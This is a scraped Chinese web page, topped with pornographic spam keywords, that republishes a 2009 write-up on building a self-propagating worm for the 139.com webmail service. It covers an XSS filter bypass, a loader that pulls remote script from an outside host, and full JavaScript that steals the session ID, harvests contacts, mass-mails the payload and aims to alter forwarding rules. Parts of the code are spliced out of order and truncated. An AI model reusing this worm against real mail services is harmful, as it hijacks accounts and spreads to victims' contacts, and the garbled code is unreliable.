日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
139郵箱蠕蟲編寫實例

139郵箱蠕蟲編寫實例

站在用戶的角度思考問題,與客戶深入溝通,找到魯山網(wǎng)站設(shè)計與魯山網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗,讓設(shè)計與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗好的作品,建站類型包括:成都網(wǎng)站設(shè)計、成都網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣、域名注冊、網(wǎng)絡(luò)空間、企業(yè)郵箱。業(yè)務(wù)覆蓋魯山地區(qū)。

Author:[sh0wrun],[woyigui]

Date:2009-09-09

聲明:該漏洞已報告并已修復,切勿用于非法目的。

原理分析:

我們經(jīng)常會用到的mail.139.com,由于對郵件正文過濾不嚴,導致存在xss漏洞。他們盡管實現(xiàn)了對style="xss:expression"進行過濾,但是可以通過添加/*  */繞過,如:。在添加/* */后,該腳本能夠在IE瀏覽器執(zhí)行。
同時,經(jīng)過分析發(fā)現(xiàn),mail.139.com中發(fā)送郵件的功能存在CSRF弱點;可以通過Ajax技術(shù)獲取發(fā)送郵件所需要的mid值。另外郵箱的“通信錄“中的聯(lián)系人郵件可以直接通過javascript取出。
滿足了編寫csrf worm的3個條件,接下來的工作,就是通過編寫javascript代碼來實現(xiàn)了。

跨站代碼:

該部分要實現(xiàn)的功能就是,觸發(fā)瀏覽器去讀取遠端的js腳本,并且執(zhí)行該腳本:

Original:

var ig =document.createElement("script");ig.src="http://192.168.9.104/woyigui/139.js";try {document.getElementsByTagName("body")[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement("body"));document.getElementsByTagName("body")[0].appendChild(ig);}

對該部分編碼按照10進制進行編碼,以避免關(guān)鍵字被替換,并調(diào)用:

該部分代碼,需放置在郵件正文中傳送。

腳本功能的實現(xiàn):

主要實現(xiàn)了如下功能:

1.通過腳本,讀取聯(lián)系人的郵箱地址。

該部分信息,可以通過top.LinkManList.concat()獲取。

2.通過腳本,獲取sid值

該部分信息,可以通過window.top.location.href,配合正則表達式獲取到。

3.獲取發(fā)送郵件所需要的mid值

在獲取到sid值后,通過script打開"寫郵件"頁面,讀取mid值。

4.發(fā)送郵件

發(fā)送郵件功能只驗證mid值,因此在獲取到正確的mid值后,連同獲取到的聯(lián)系人一起,構(gòu)造post數(shù)據(jù),發(fā)送郵件。
5.改寫郵件轉(zhuǎn)發(fā)規(guī)則和自動回復規(guī)則

在有正確的sid后,構(gòu)造post。

完整代碼:

var xssed = false; 
if (typeof XSSflag != "undefined"){ 
  xssed = true; 
} 
var XSSflag = [ 
  {name: "version", url: "1.0"}, 
]; 
if ( xssed != true ) {   
  var xmlhttp; 
  //create XHR 
  function createXMLHttp(){   
      try { 
        xmlhttp = new XMLHttpRequest(); 
      } catch (e) { 
         var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0', 
                     'MSXML2.XMLHTTP.4.0', 
                     'MSXML2.XMLHTTP.3.0', 
                     'MSXML2.XMLHTTP', 
                     'Microsoft.XMLHTTP' ); 
        var success = false; 
        for (var i=0;i < XMLHTTP_IDS.length && !success; i++) { 
          try { 
             xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]); 
              success = true; 
          } catch (e) {} 
        } 
        if (!success) { 
          throw new Error('Unable to create XMLHttpRequest.'); 
        } 
     } 
  } 
  function domid (dourl) { 
    createXMLHttp();   
    var tmp = ""; 
    xmlhttp.open("GET", dourl, false);   
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 
    xmlhttp.setRequestHeader("Connection", "close"); 
    xmlhttp.send(null); 
    setTimeout( tmp = xmlhttp.responseText,500); 
    return tmp;     
  } 
  function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){   
    createXMLHttp();   
    var params = "funcid=compose&sid="+ sid +"&mid="+ mid +"&hidRemoteIp=&ishtml=y&optype=
send.x&idOpType=&text="+ Content +"&destcgi=
&funcid=compose&netfdrhost=&to="+ tomail +"&cc=&bcc=&subject="+ subject +"&year=
&month=&day=&hour=undefined&compinfo_minute=&chkHtmlMessage_text=y&chkHtmlMessage=y&ifsavetosent= 
   xmlhttp.setRequestHeader
("Content-Type","application/x-www-form-urlencoded;"); 
    y&account="+ account +"&destcgi=&netfdrhost=&split_rcpt=n&return_receipt=0&priority=0"; 
    
xmlhttp.open("POST", doUrl, false);   
xmlhttp.setRequestHeader("Content-length", params.length); 
    xmlhttp.setRequestHeader("Connection", "close"); 
    xmlhttp.send(params); 
  } 
  function doMyAjax()   
  {   
     var strPer = '/coremail/cgi/attachfapps'; 
     var tomail = '
     
      ;'; 
     var subject = "test20"; 
     var Content = "";
     var account = ""; 
     var sid = window.top.location.href.replace(/.*&sid=(.*)/,"$1"); 
     var tmpmid = domid("/coremail/fcg/ldmmapp?funcid=compose&sid=" + sid );   
     var mid="",text=""; 
     text=tmpmid.split("\n"); 
    for (var i=0;i < text.length; i++) 
    { 
      var patt=/name=\"mid\" value=\"/; 
      if ( patt.test(text[i])) 
      {   
        mid=text[i].replace(/.*name=\"mid\" value=\"(.*)\".*/, "$1"); 
        break; 
      } 
    } 
    var mail_address=top.LinkManList.concat(); 
    for (var i=0,len=mail_address.length;i
      
       ;"; } } try { startRequest(strPer, encodeURIComponent(tomail), encodeURIComponent(subject), 
      
     
encodeURIComponent(Content), encodeURIComponent(account), mid, sid );     
     } catch (e) { 
       alert("send data error!"); 
     } 
  } 
  doMyAjax(); 
} 

名稱欄目:139郵箱蠕蟲編寫實例
當前地址:http://www.5511xx.com/article/cdpsdhi.html